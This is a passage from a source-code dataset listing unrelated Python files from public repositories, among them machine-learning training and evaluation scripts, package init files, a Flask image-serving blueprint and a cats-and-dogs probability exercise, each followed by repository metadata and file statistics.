y[:,i:i+1,:].to(device), current=i, y_len=y_len, sample_time=sample_time) y_pred_long[:, i:i + 1, :] = x_step rnn.hidden = Variable(rnn.hidden.data).to(device) y_pred_data = y_pred.data y_pred_long_data = y_pred_long.data.long() # save graphs as pickle for i in range(test_batch_size): adj_pred = decode_adj(y_pred_long_data[i].cpu().numpy()) G_pred = get_graph(adj_pred) # get a graph from zero-padded adj G_pred_list.append(G_pred) return G_pred_list def train_mlp_forward_epoch(epoch, args, rnn, output, data_loader): rnn.train() output.train() loss_sum = 0 for batch_idx, data in enumerate(data_loader): rnn.zero_grad() output.zero_grad() x_unsorted = data['x'].float() y_unsorted = data['y'].float() y_len_unsorted = data['len'] y_len_max = max(y_len_unsorted) x_unsorted = x_unsorted[:, 0:y_len_max, :] y_unsorted = y_unsorted[:, 0:y_len_max, :] # initialize lstm hidden state according to batch size rnn.hidden = rnn.init_hidden(batch_size=x_unsorted.size(0)) # sort input y_len,sort_index = torch.sort(y_len_unsorted,0,descending=True) y_len = y_len.numpy().tolist() x = torch.index_select(x_unsorted,0,sort_index) y = torch.index_select(y_unsorted,0,sort_index) x = Variable(x).to(device) y = Variable(y).to(device) h = rnn(x, pack=True, input_len=y_len) y_pred = output(h) y_pred = F.sigmoid(y_pred) # clean y_pred = pack_padded_sequence(y_pred, y_len, batch_first=True) y_pred = pad_packed_sequence(y_pred, batch_first=True)[0] # use cross entropy loss loss = 0 for j in range(y.size(1)): # print('y_pred',y_pred[0,j,:],'y',y[0,j,:]) end_idx = min(j+1,y.size(2)) loss += binary_cross_entropy_weight(y_pred[:,j,0:end_idx], y[:,j,0:end_idx])*end_idx if epoch % args.epochs_log==0 and batch_idx==0: # only output first batch's statistics print('Epoch: {}/{}, train loss: {:.6f}, graph type: {}, num_layer: {}, hidden: {}'.format( epoch, args.epochs,loss.data[0], args.graph_type, args.num_layers, args.hidden_size_rnn)) # logging log_value('loss_'+args.fname, loss.data[0], epoch*args.batch_ratio+batch_idx) loss_sum += loss.data[0] return loss_sum/(batch_idx+1) '''

44.078415

159

0.644126

7,703

52,277

4.099442

0.062833

0.019761

0.017702

0.016531

0.822218

0.807809

0.789347

0.76832

0.760118

0.747704

0

0.011575

0.239819

52,277

1,185

160

44.115612

0.78304

0.112286

0

0.649412

0

0.026966

0

1

0.021176

false

0

0.065882

0

0.101176

0.028235

0

null

0

1

0

null

0

6

edef1e9c6d0236f322fafd6972765be36664fc4f

42

py

Python

fastapi_rest_jsonapi/schema/__init__.py

Zenor27/fastapi-rest-jsonapi

1c6eaad0791949bbaf9f4032fb7ecd483e80a02a

[ "MIT" ]

2

2022-03-01T00:59:04.000Z

2022-03-03T06:17:51.000Z

fastapi_rest_jsonapi/schema/__init__.py

Zenor27/fastapi-rest-jsonapi

1c6eaad0791949bbaf9f4032fb7ecd483e80a02a

[ "MIT" ]

9

2022-01-16T15:47:35.000Z

2022-03-28T18:47:18.000Z

fastapi_rest_jsonapi/schema/__init__.py

Zenor27/fastapi-rest-jsonapi

1c6eaad0791949bbaf9f4032fb7ecd483e80a02a

[ "MIT" ]

null

# flake8: noqa from .schema import Schema

14

26

0.761905

6

42

5.333333

0.833333

0

0.028571

0.166667

42

2

27

21

0.885714

0.285714

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

b67cac7537bc838bfb0e42b9fb3630ec802ce194

51

py

Python

gym_combat/gym_combat/envs/__init__.py

refaev/combat_gym

f02fcf98e95a1dda29cdddd4ae271de3e18ea3bf

[ "MIT" ]

null

gym_combat/gym_combat/envs/__init__.py

refaev/combat_gym

f02fcf98e95a1dda29cdddd4ae271de3e18ea3bf

[ "MIT" ]

null

gym_combat/gym_combat/envs/__init__.py

refaev/combat_gym

f02fcf98e95a1dda29cdddd4ae271de3e18ea3bf

[ "MIT" ]

null

from gym_combat.envs.gym_combat import GymCombatEnv

51

0.901961

8

51

5.5

0.75

0.409091

0

0.058824

51

1

51

0.916667

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

b67fe07d879c2c3850a4111203b74db8921c0a9e

34

py

Python

python/8Kyu/Remove first and last character.py

athasv/Codewars-data

5e106466e709fd776f23585ad9f652d0d65b48d3

[ "MIT" ]

null

python/8Kyu/Remove first and last character.py

athasv/Codewars-data

5e106466e709fd776f23585ad9f652d0d65b48d3

[ "MIT" ]

null

python/8Kyu/Remove first and last character.py

athasv/Codewars-data

5e106466e709fd776f23585ad9f652d0d65b48d3

[ "MIT" ]

null

def remove_char(s): return s[1:-1]

34

0.705882

8

34

2.875

0.75

0

0.064516

0.088235

34

1

34

0.677419

0

1

false

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

6

b687165252648db89777b1ccb079d554488bda21

315

py

Python

app/gallery/__init__.py

TopKeingt/MHS-code

3173f16ef2cc625f9979eb382aee84633131bc29

[ "MIT" ]

null

app/gallery/__init__.py

TopKeingt/MHS-code

3173f16ef2cc625f9979eb382aee84633131bc29

[ "MIT" ]

null

app/gallery/__init__.py

TopKeingt/MHS-code

3173f16ef2cc625f9979eb382aee84633131bc29

[ "MIT" ]

null

from flask import Blueprint, send_from_directory bp = Blueprint('content', __name__) @bp.route('/<image_url>') def main(image_url): return send_from_directory('gallery\\gallery', image_url) @bp.route('/user/<image_url>/') def send_image(image_url): return send_from_directory('gallery\\users', image_url)

28.636364

61

0.752381

45

315

4.888889

0.4

0.218182

0.231818

0.163636

0.345455

0

0.098413

315

11

62

28.636364

0.774648

0

0.212025

0

1

0.25

false

0

0.125

0.25

0.625

0.25

0

null

1

0

null

0

1

0

1

0

6

fce2f4f5ac32a7f34882383a96f610bb800a3c93

49

py

Python

kespo/models/__init__.py

sergevkim/KeywordSpotting

57c71a66178ccc4bd98bd355f37601f4d7f059b9

[ "MIT" ]

null

kespo/models/__init__.py

sergevkim/KeywordSpotting

57c71a66178ccc4bd98bd355f37601f4d7f059b9

[ "MIT" ]

null

kespo/models/__init__.py

sergevkim/KeywordSpotting

57c71a66178ccc4bd98bd355f37601f4d7f059b9

[ "MIT" ]

null

from .attention_spotter import AttentionSpotter

16.333333

47

0.877551

5

49

8.4

1

0

0.102041

49

2

48

24.5

0.954545

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

fced471e13815be5621dc72a5f2ff059358f1e2f

134

py

Python

web/sql.py

nonomal/oh-my-rss

68b9284e0acaf44ea389d675b71949177f9f3256

[ "MIT" ]

270

2019-09-05T05:51:19.000Z

2022-03-12T18:26:13.000Z

web/sql.py

nonomal/oh-my-rss

68b9284e0acaf44ea389d675b71949177f9f3256

[ "MIT" ]

6

2019-09-06T03:52:47.000Z

2021-04-10T06:21:14.000Z

web/sql.py

nonomal/oh-my-rss

68b9284e0acaf44ea389d675b71949177f9f3256

[ "MIT" ]

37

2019-09-06T05:13:24.000Z

2022-01-21T08:05:33.000Z

# TODO 复杂的语句在这里 # JOB_STAT_SQL = "SELECT count(1) as c, dvc_id, status, id FROM web_job WHERE ctime > '%s' GROUP BY dvc_id, status;"

33.5

116

0.701493

25

134

3.56

0.8

0.11236

0.247191

0

0.009091

0.179104

134

3

117

44.666667

0.8

0.955224

0

null

0

null

0

null

0

0.333333

null

1

null

true

0

null

1

0

null

0

1

0

1

0

1

0

null

0

1

0

1

0

6

fcf070832b7b7c889a54b3c7a4ed17bb1ca8279e

439

py

Python

mmtfPyspark/datasets/__init__.py

sbliven/mmtf-pyspark

3d444178bdc0d5128aafdb1326fec12b5d7634b5

[ "Apache-2.0" ]

59

2018-01-28T06:50:56.000Z

2022-02-10T06:07:12.000Z

mmtfPyspark/datasets/__init__.py

sbliven/mmtf-pyspark

3d444178bdc0d5128aafdb1326fec12b5d7634b5

[ "Apache-2.0" ]

101

2018-02-01T20:51:10.000Z

2022-01-24T00:50:29.000Z

mmtfPyspark/datasets/__init__.py

sbliven/mmtf-pyspark

3d444178bdc0d5128aafdb1326fec12b5d7634b5

[ "Apache-2.0" ]

29

2018-01-29T10:09:51.000Z

2022-01-23T18:53:28.000Z

from . import advancedSearchDataset, customReportService, dataset_utils, dbPtmDataset, dbSnpDataset, drugBankDataset, g2sDataset, jpredDataset, myVariantDataset, \ pdbjMineDataset, pdbPtmDataset, pdbToUniProt, polymerSequenceExtractor, secondaryStructureElementExtractor, \ secondaryStructureExtractor, secondaryStructureSegmentExtractor, swissModelDataset, uniProt from .groupInteractionExtractor import groupInteractionExtractor

87.8

163

0.872437

25

439

15.28

0.88

0

0.002475

0.079727

439

4

164

109.75

0.943069

0

1

0

true

0

0.5

0

0.5

0

1

0

1

null

0

1

0

1

0

null

0

1

0

1

0

6

1e4d912b40ce92ffced889ea73de25c0a8b50ba2

31

py

Python

betatree/__init__.py

neherlab/betatree

a36a56169ae778ba470c95c65c1eafb9de7fcbd7

[ "MIT" ]

1

2015-09-13T14:48:19.000Z

betatree/__init__.py

neherlab/betatree

a36a56169ae778ba470c95c65c1eafb9de7fcbd7

[ "MIT" ]

null

betatree/__init__.py

neherlab/betatree

a36a56169ae778ba470c95c65c1eafb9de7fcbd7

[ "MIT" ]

null

from .betatree import betatree

15.5

30

0.83871

4

31

6.5

0.75

0

0.129032

31

1

31

0.962963

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

949a47780d25ec13d524d1207d06ad61d95ab580

142

py

Python

src/common/dataset/persistence/engine.py

MichalPitr/fever-cs-dataset

62a9a87eafcfa18abfe24c516ca7161e8e466d08

[ "MIT" ]

71

2019-01-11T21:07:32.000Z

2021-07-10T17:59:33.000Z

src/common/dataset/persistence/engine.py

MichalPitr/fever-cs-dataset

62a9a87eafcfa18abfe24c516ca7161e8e466d08

[ "MIT" ]

22

2019-02-20T13:42:28.000Z

2022-02-09T23:29:32.000Z

src/common/dataset/persistence/engine.py

mithunpaul08/fever-baselines

7b2a8f9f9b599e5a00e503db06400fca655ad106

[ "Apache-2.0" ]

21

2019-01-31T09:05:30.000Z

2021-05-26T10:37:13.000Z

from sqlalchemy import create_engine def get_engine(file): return create_engine('sqlite:///data/fever/{0}.db'.format(file), echo=False)

23.666667

80

0.746479

21

142

4.904762

0.809524

0.23301

0

0.007874

0.105634

142

5

81

28.4

0.80315

0

0.190141

0

1

0.333333

false

0

0.333333

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

6

94cee786149639c3da0beaf500ed4cda8e8f2fdf

23

py

Python

pkgs/conf-pkg/src/genie/libs/conf/routing/__init__.py

miott/genielibs

6464642cdd67aa2367bdbb12561af4bb060e5e62

[ "Apache-2.0" ]

94

2018-04-30T20:29:15.000Z

2022-03-29T13:40:31.000Z

pkgs/conf-pkg/src/genie/libs/conf/routing/__init__.py

miott/genielibs

6464642cdd67aa2367bdbb12561af4bb060e5e62

[ "Apache-2.0" ]

67

2018-12-06T21:08:09.000Z

2022-03-29T18:00:46.000Z

pkgs/conf-pkg/src/genie/libs/conf/routing/__init__.py

miott/genielibs

6464642cdd67aa2367bdbb12561af4bb060e5e62

[ "Apache-2.0" ]

49

2018-06-29T18:59:03.000Z

2022-03-10T02:07:59.000Z

from .routing import *

11.5

22

0.73913

3

23

5.666667

1

0

0.173913

23

1

23

0.894737

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

94dcf6d3732086370dcaa16da2f8c9e2fd340335

37

py

Python

ml/vision/models/pose/hrnet/__init__.py

necla-ml/ML-Vision

66229b29fc0f67c75dbe6304cdb8c5e93fe0bacf

[ "BSD-3-Clause" ]

1

2021-08-04T12:33:25.000Z

ml/vision/models/pose/hrnet/__init__.py

necla-ml/ML-Vision

66229b29fc0f67c75dbe6304cdb8c5e93fe0bacf

[ "BSD-3-Clause" ]

1

2021-11-02T21:29:44.000Z

2021-12-02T15:49:17.000Z

ml/vision/models/pose/hrnet/__init__.py

necla-ml/ML-Vision

66229b29fc0f67c75dbe6304cdb8c5e93fe0bacf

[ "BSD-3-Clause" ]

null

from .model import posenet, inference

37

0.837838

5

37

6.2

1

0

0.108108

37

1

37

0.939394

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

94f05f8db6aa1bd605ba3d419f397dc2be6bbb1b

132

py

Python

tests/python/math_fun/lib/test_version.py

jaximan/pexample

8820e82b01b4ef84746351ddf2e1c8af1ff6b0a1

[ "Apache-2.0" ]

17

2017-12-28T18:05:53.000Z

2022-03-07T09:45:40.000Z

tests/python/math_fun/lib/test_version.py

jaximan/pexample

8820e82b01b4ef84746351ddf2e1c8af1ff6b0a1

[ "Apache-2.0" ]

null

tests/python/math_fun/lib/test_version.py

jaximan/pexample

8820e82b01b4ef84746351ddf2e1c8af1ff6b0a1

[ "Apache-2.0" ]

2

2017-12-28T17:14:17.000Z

2020-03-25T17:46:37.000Z

from math_fun.lib.version import describe def test_describe(): assert "Numpy" in describe() assert "Python" in describe()

18.857143

41

0.719697

18

132

5.166667

0.722222

0.301075

0

0.181818

132

6

42

22

0.861111

0

0.083333

0

0.5

1

0.25

true

0

0.25

0

0.5

0

1

0

null

1

0

1

0

null

0

1

0

1

0

6

a20cf4dad473739eb3aa54123c923a1af0ba8ff6

3,775

py

Python

Metodos Computacionales Uniandes/Code/ejercicio_07.py

aess14/Cursos-Uniandes

be016b25f2f49788235fbe91ec577fd16b9ad613

[ "MIT" ]

null

Metodos Computacionales Uniandes/Code/ejercicio_07.py

aess14/Cursos-Uniandes

be016b25f2f49788235fbe91ec577fd16b9ad613

[ "MIT" ]

null

Metodos Computacionales Uniandes/Code/ejercicio_07.py

aess14/Cursos-Uniandes

be016b25f2f49788235fbe91ec577fd16b9ad613

[ "MIT" ]

null

# Un grupo de m gatos y n perros se encuentran alieados en un orden aleatorio. # Es decir, cualquiera de las 50! permutaciones es igual de probable. #Escriba un programa de python que genere una lista que representa a #los 50 perros y gatos, y la reordene aleatoriamente usando #np.random.shuffle() para calcular las siguientes probabilidades: #¿Cual es la probabilidad de que un perro se encuentre en la primera #posición? #¿Cuál es la probabilidad de que un gato se encuentre en la primera #posición? #¿Cuál es la probabilidad de que un perro y un gato se encuentren al #tiempo en la primera y última posición, respectivamente? # El programa debe estar en un archivo llamado # "ApellidoNombre_MagistralEjercicio07.py" donde Apellido y Nombre # debe reemplazarlos con su apellido y nombre. Suba ese archivo como # respuesta a esta actividad. # # Al ejecutar "python ApellidoNombre_MagistralEjercicio07.py" no se # debe producir ningún error y solamente debe imprimir las tres # probabilidades con dos cifras decimales. # Se considera que el programa no corre si se demora más de un minuto # en producir la respuesta. # Al correr tres veces el programa la respuesta debe ser la misma. # Solamente puede utilizar las funciones y métodos vistas en clase # (videos o clases sincrónicas, o que ya se encuentren en el repositorio) # Un grupo de m gatos y n perros se encuentran alieados en un orden aleatorio. # Es decir, cualquiera de las 50! permutaciones es igual de probable. #Escriba un programa de python que genere una lista que representa a #los 50 perros y gatos, y la reordene aleatoriamente usando #np.random.shuffle() para calcular las siguientes probabilidades: #¿Cual es la probabilidad de que un perro se encuentre en la primera #posición? #¿Cuál es la probabilidad de que un gato se encuentre en la primera #posición? #¿Cuál es la probabilidad de que un perro y un gato se encuentren al #tiempo en la primera y última posición, respectivamente? # El programa debe estar en un archivo llamado # "ApellidoNombre_MagistralEjercicio07.py" donde Apellido y Nombre # debe reemplazarlos con su apellido y nombre. Suba ese archivo como # respuesta a esta actividad. # # Al ejecutar "python ApellidoNombre_MagistralEjercicio07.py" no se # debe producir ningún error y solamente debe imprimir las tres # probabilidades con dos cifras decimales. # Se considera que el programa no corre si se demora más de un minuto # en producir la respuesta. # Al correr tres veces el programa la respuesta debe ser la misma. # Solamente puede utilizar las funciones y métodos vistas en clase # (videos o clases sincrónicas, o que ya se encuentren en el repositorio) . import numpy as np def gatos_y_perros(m, n): n_gatos = m n_perros = n gato = 0 perro = 1 animales = n_gatos*[gato] + n_perros*[perro]# 0 es para gatos, 1 para perros. N = 1000 perro_en_primera = 0 gato_en_primera = 0 perro_en_primera_gato_en_ultima = 0 for i in range(N): np.random.shuffle(animales) if animales[0]==perro: # perro en primera posicion perro_en_primera += 1 if animales[0]==gato: # gato en primera posicion gato_en_primera += 1 if animales[0]==perro and animales[-1]==gato: # perro en primera, gato en ultima perro_en_primera_gato_en_ultima += 1 a = (perro_en_primera/N) b = (gato_en_primera/N) c = (perro_en_primera_gato_en_ultima/N) return a, b, c #a = [] #b = [] #c = [] #for i in range(10): # x = gatos_y_perros(1000,15000) # a.append(x[0]) # b.append(x[1]) # c.append(x[2]) #print(np.mean(a), np.std(a)) #print(np.mean(b), np.std(b)) #print(np.mean(c), np.std(c))

33.114035

88

0.720265

602

3,775

4.461794

0.227575

0.040208

0.041698

0.040208

0.837677

0.783321

0

0.016145

0.21245

3,775

113

89

33.40708

0.885301

0.768742

0

0.00885

0

1

0.043478

false

0

0.043478

0

0.130435

0

null

0

1

0

null

0

6

bf96c8366fecce5ee1675084caf26fe3d86fdfa2

123

py

Python

exceptions.py

cr0mbly/TTGO-esp32-micropython-watch

3378ea3b15e19f6bab405b6fc07759f17dd6213d

[ "MIT" ]

6

2020-09-10T20:04:49.000Z

2021-10-10T06:26:05.000Z

exceptions.py

cr0mbly/TTGO-esp32-micropython-watch

3378ea3b15e19f6bab405b6fc07759f17dd6213d

[ "MIT" ]

null

exceptions.py

cr0mbly/TTGO-esp32-micropython-watch

3378ea3b15e19f6bab405b6fc07759f17dd6213d

[ "MIT" ]

null

class FailedCurrentTimeRequestException(Exception): pass class FailedToConnectToNetworkException(Exception): pass

20.5

51

0.829268

8

123

12.75

0.625

0.254902

0

0.121951

123

6

52

20.5

0.944444

0

0.5

0

1

0

true

0.5

0

0.5

0

1

0

1

null

1

0

1

0

null

0

1

0

6

bf9bf5bcf74e867be9b087003fbed351097c250f

135

py

Python

app/rest/person.py

debuglevel/greeting-microservice-python

58ab2546eca4bee8099cb208c1a4291ef857c2a0

[ "Unlicense" ]

1

2022-03-24T20:28:43.000Z

app/rest/person.py

debuglevel/greeting-microservice-python

58ab2546eca4bee8099cb208c1a4291ef857c2a0

[ "Unlicense" ]

null

app/rest/person.py

debuglevel/greeting-microservice-python

58ab2546eca4bee8099cb208c1a4291ef857c2a0

[ "Unlicense" ]

null

from pydantic import BaseModel class PersonIn(BaseModel): name: str class PersonOut(BaseModel): name: str created_on: str

16.875

30

0.733333

17

135

5.764706

0.647059

0.265306

0.326531

0

0.2

135

8

31

16.875

0.907407

0

0.333333

0

1

0

true

0

0.166667

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

6

44a04a18e1305dd0922632952a64c27aa0cbc3b9

45

py

Python

tests/scripts/main/__init__.py

Siaan/COMS4995

a1dffcd83698ab3832a79f7a9632cd34ce1448d7

[ "Apache-2.0" ]

null

tests/scripts/main/__init__.py

Siaan/COMS4995

a1dffcd83698ab3832a79f7a9632cd34ce1448d7

[ "Apache-2.0" ]

13

2020-10-02T04:56:13.000Z

2020-12-21T07:15:04.000Z

tests/scripts/main/__init__.py

Siaan/COMS4995

a1dffcd83698ab3832a79f7a9632cd34ce1448d7

[ "Apache-2.0" ]

1

2020-12-21T23:46:05.000Z

from clean_KF import visualise # noqa: F401

22.5

44

0.777778

7

45

4.857143

1

0

0.081081

0.177778

45

1

45

0.837838

0.222222

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

44c17f2d2c1369cdc280def9395462360ad3734b

23

py

Python

tests/rzyprior/__init__.py

plewis/phycas

9f5a4d9b2342dab907d14a46eb91f92ad80a5605

[ "MIT" ]

3

2015-09-24T23:12:57.000Z

2021-04-12T07:07:01.000Z

tests/rzyprior/__init__.py

plewis/phycas

9f5a4d9b2342dab907d14a46eb91f92ad80a5605

[ "MIT" ]

null

tests/rzyprior/__init__.py

plewis/phycas

9f5a4d9b2342dab907d14a46eb91f92ad80a5605

[ "MIT" ]

1

2015-11-23T10:35:43.000Z

from rzyprior import *

11.5

22

0.782609

3

23

6

1

0

0.173913

23

1

23

0.947368

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

44c41539184463a4115beb061c5c97838881f819

206

py

Python

limesurveyrc2api/__init__.py

spesantez/limeapy

ca21449f2dec451f1d4d704c7c630a25b3a47e44

[ "MIT" ]

null

limesurveyrc2api/__init__.py

spesantez/limeapy

ca21449f2dec451f1d4d704c7c630a25b3a47e44

[ "MIT" ]

null

limesurveyrc2api/__init__.py

spesantez/limeapy

ca21449f2dec451f1d4d704c7c630a25b3a47e44

[ "MIT" ]

null

from .limesurveyrc2api import LimeSurveyRemoteControl2API # Lifts the class into the package namespace instead of package.module # Otherwise you'd need from limesurveyrc2api.limesurveyrc2api import Lime...

51.5

76

0.84466

24

206

7.25

0.75

0.229885

0

0.021858

0.11165

206

3

77

68.666667

0.928962

0.694175

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

44c8e51ae1da4757a570df0078715fcb26bc5f70

477

py

Python

test/model/save_profile.py

jack09581013/Dual-GDNet

d9d65928208caee781cbe8f8f794241d06b4bf5d

[ "MIT" ]

null

test/model/save_profile.py

jack09581013/Dual-GDNet

d9d65928208caee781cbe8f8f794241d06b4bf5d

[ "MIT" ]

null

test/model/save_profile.py

jack09581013/Dual-GDNet

d9d65928208caee781cbe8f8f794241d06b4bf5d

[ "MIT" ]

null

import profile import CSPN.cspn as cspn import GANet.GANet_small_deep as ganet_small_deep import GANet.GANet_small as ganet_small import GANet.GANet_deep as ganet_deep class GANet_small_deep_fine_tune(profile.Profile): def get_model(self, max_disparity): return ganet_small_deep.GANet_small_deep(max_disparity) def version_file_path(self): return f'../../model/save/GANet_small_deep_fine_tune' def __str__(self): return 'GANet_small_deep'

31.8

63

0.781971

74

477

4.621622

0.310811

0.263158

0.28655

0.122807

0.128655

0

0.148847

477

15

64

31.8

0.842365

0

0.123431

0.089958

0

1

0.25

false

0

0.416667

0.25

1

0

null

1

0

null

0

1

0

1

0

6

44c9225bbac2686002e7751734a08a9ee80a1949

9,620

py

Python

training/eval2.py

manogna-s/da-fer

43229ba368454cb4e5aecab8fdb3ea68ad9060e4

[ "MIT" ]

null

training/eval2.py

manogna-s/da-fer

43229ba368454cb4e5aecab8fdb3ea68ad9060e4

[ "MIT" ]

null

training/eval2.py

manogna-s/da-fer

43229ba368454cb4e5aecab8fdb3ea68ad9060e4

[ "MIT" ]

null

from models.ResNet_feat import ResClassifier from utils.Utils import * from train_setup import * from models.ResNet_stoch_feat import IR_global_local_stoch_feat, IR_onlyResNet50_stoch from models.ResNet_stoch_feat import * from torch.distributions.multivariate_normal import MultivariateNormal # label2exp = {0:'Surprised', 1:'Fear', 2:'Disgust', 3:'Happy', 4:'Sad', 5:'Anger', 6:'Neutral'} label2exp = {0:'Happy', 1:'Neutral'} n_samples = 5 sigma_avg = 5 threshold = np.log(sigma_avg) + (1 + np.log(2 * np.pi)) / 2 def test_MCD(args, splits=None): if splits is None: # evaluate on test splits by default splits = ['test_source', 'test_target'] args.train_batch = 1 args.test_batch = 1 # Build Dataloader print("Building Train and Test Dataloader...") dataloaders = {'train_source': BuildDataloader(args, split='train', domain='source', max_samples=args.source_labeled), 'train_target': BuildDataloader(args, split='train', domain='target', max_samples=args.target_unlabeled), 'test_source': BuildDataloader(args, split='test', domain='source'), 'test_target': BuildDataloader(args, split='test', domain='target')} print('Done!') if args.use_mcd: G = IR_global_local_feat(50) # print(G) G_ckpt = torch.load(os.path.join(args.out,'ckpts', 'MCD_G_26.pkl')) G.load_state_dict(G_ckpt) F1 = ResClassifier(num_classes=args.class_num, num_layer=1) F1_ckpt = torch.load(os.path.join(args.out,'ckpts', 'MCD_F2_26.pkl')) F1.load_state_dict(F1_ckpt) G.cuda() F1.cuda() G.eval() F1.eval() mean=[0.485, 0.456, 0.406] std=[0.229, 0.224, 0.225] Features = [] Labels = [] results = [] for split in splits: out_img_dir=os.path.join(args.out, f'out_imgs_{split}') wrong_imgs=os.path.join(args.out, f'misclassified_imgs_{split}') os.makedirs(out_img_dir, exist_ok=True) for exp in label2exp.values(): os.makedirs(os.path.join(out_img_dir, exp), exist_ok=True) os.makedirs(os.path.join(wrong_imgs, exp), exist_ok=True) print(f'\n[{split}]') iter_dataloader = iter(dataloaders[split]) acc, prec, recall = [AverageMeter() for i in range(args.class_num)], \ [AverageMeter() for i in range(args.class_num)], \ [AverageMeter() for i in range(args.class_num)] for batch_index, (input, landmark, label, img_name) in enumerate(iter_dataloader): input, landmark, label = input.cuda(), landmark.cuda(), label with torch.no_grad(): feature = G(input, landmark) output = F1(feature) probs= (F.softmax(output).cpu().data.numpy()*100).astype(int) max_prob = np.max(probs) pred_class = np.argmax(probs) pred= {'split':split, 'img':img_name[0], 'label':label2exp[label.cpu().data.numpy()[0]], 'pred':label2exp[pred_class]} results.append(pred) if False:# True: img = input[0].cpu().data.numpy() img = np.einsum('kij->ijk',img) img = img * std + mean img = np.clip(img, 0, 1) *255 img = img.astype(np.uint8) out= f'prob:{max_prob} \n label: {label2exp[label.cpu().data.numpy()[0]]} pred:{label2exp[pred_class]}' plt.imshow(img) plt.title(out) plt.savefig(os.path.join(out_img_dir,label2exp[label.cpu().data.numpy()[0]], f'{split}_{batch_index}.png')) print(pred) print('\n\n') Compute_Accuracy(args, output, label, acc, prec, recall) Features.append(feature.cpu().data.numpy()) Label = label.cpu().data.numpy() if Label[0]!=pred_class: plt.savefig(os.path.join(wrong_imgs,label2exp[label.cpu().data.numpy()[0]], f'{split}_{batch_index}.png')) if split == 'test_target': Label+=7 elif split == 'train_source': Label+=14 Labels.append(Label) AccuracyInfo, acc_avg, prec_avg, recall_avg, f1_avg = Show_Accuracy(acc, prec, recall, args.class_num) df = pd.DataFrame.from_dict(results) df.to_csv(os.path.join(out_img_dir,'results.csv'), index=False, header=True) return def test_stoch_MCD(args, splits=None): if splits is None: # evaluate on test splits by default splits = ['test_source', 'test_target'] args.train_batch = 1 args.test_batch = 1 # Build Dataloader print("Building Train and Test Dataloader...") dataloaders = {'train_source': BuildDataloader(args, split='train', domain='source', max_samples=args.source_labeled), 'train_target': BuildDataloader(args, split='train', domain='target', max_samples=args.target_unlabeled), 'test_source': BuildDataloader(args, split='test', domain='source'), 'test_target': BuildDataloader(args, split='test', domain='target')} print('Done!') G = IR_global_local_stoch_feat(50,feature_dim=384) print(G) G_ckpt = torch.load(os.path.join(args.out,'ckpts', 'Stoch_MCD_G.pkl')) G.load_state_dict(G_ckpt) G.cuda() F1 = Stochastic_Features_cls(args, input_dim=G.output_num()) F1_ckpt = torch.load(os.path.join(args.out,'ckpts', 'Stoch_MCD_F2.pkl')) F1.load_state_dict(F1_ckpt) F1.cuda() G.eval() F1.eval() mean=[0.485, 0.456, 0.406] std=[0.229, 0.224, 0.225] Features = [] Labels = [] results = [] for split in splits: out_img_dir=os.path.join(args.out, f'out_imgs_{split}') wrong_imgs=os.path.join(args.out, f'misclassified_imgs_{split}') os.makedirs(out_img_dir, exist_ok=True) for exp in label2exp.values(): os.makedirs(os.path.join(out_img_dir, exp), exist_ok=True) os.makedirs(os.path.join(wrong_imgs, exp), exist_ok=True) print(f'\n[{split}]') iter_dataloader = iter(dataloaders[split]) acc, prec, recall = [AverageMeter() for i in range(args.class_num)], \ [AverageMeter() for i in range(args.class_num)], \ [AverageMeter() for i in range(args.class_num)] for batch_index, (input, landmark, label) in enumerate(iter_dataloader): input, landmark, label = input.cuda(), landmark.cuda(), label with torch.no_grad(): feature, sigma = G(input, landmark) output = F1(feature) probs= (F.softmax(output).cpu().data.numpy()*100).astype(int) max_prob = np.max(probs) pred_class = np.argmax(probs) mvn = MultivariateNormal(feature, scale_tril=torch.diag_embed(sigma)) loss_fu = torch.mean(nn.ReLU()(threshold - mvn.entropy()/G.output_num())) entropy = mvn.entropy().cpu().data.numpy()[0]/G.output_num() pred_entropy = 0 for i in range(n_samples): feat = mvn.rsample() output_sample = F1(feat) probs_samples= F.softmax(output_sample) pred_entropy += -torch.sum(probs_samples * torch.log(probs_samples)) print((probs_samples.cpu().data.numpy()*100).astype(int)) pred_entropy/=n_samples pred= {'split':split, 'img':batch_index, 'label':label2exp[label.cpu().data.numpy()[0]], 'pred':label2exp[pred_class], 'entropy': f'{entropy:.3f}', 'prob': f'{max_prob}', 'pred entropy': f'{pred_entropy:5f}'} results.append(pred) if True: img = input[0].cpu().data.numpy() img = np.einsum('kij->ijk',img) img = img * std + mean img = np.clip(img, 0, 1) *255 img = img.astype(np.uint8) out= f'feat_ent: {entropy:.3f} pred_ent: {pred_entropy:.3f} prob:{max_prob} \n label: {label2exp[label.cpu().data.numpy()[0]]} pred:{label2exp[pred_class]}' plt.imshow(img) plt.title(out) plt.savefig(os.path.join(out_img_dir,label2exp[label.cpu().data.numpy()[0]], f'{split}_{batch_index}.png')) print(pred, entropy, pred_entropy) print('\n\n') Compute_Accuracy(args, output, label, acc, prec, recall) Features.append(feature.cpu().data.numpy()) Label = label.cpu().data.numpy() if Label[0]!=pred_class: plt.savefig(os.path.join(wrong_imgs,label2exp[label.cpu().data.numpy()[0]], f'{split}_{batch_index}.png')) if split == 'test_target': Label+=7 elif split == 'train_source': Label+=14 Labels.append(Label) AccuracyInfo, acc_avg, prec_avg, recall_avg, f1_avg = Show_Accuracy(acc, prec, recall, args.class_num) df = pd.DataFrame.from_dict(results) df.to_csv(os.path.join(out_img_dir,'results.csv'), index=False, header=True) return def main(): if args.use_mcd: test_MCD(args, splits = ['train_target']) if args.use_stoch_feats: test_stoch_MCD(args, splits = ['test_target']) return if __name__ == '__main__': main()

39.265306

177

0.57921

1,236

9,620

4.330097

0.157767

0.020179

0.033632

0.031764

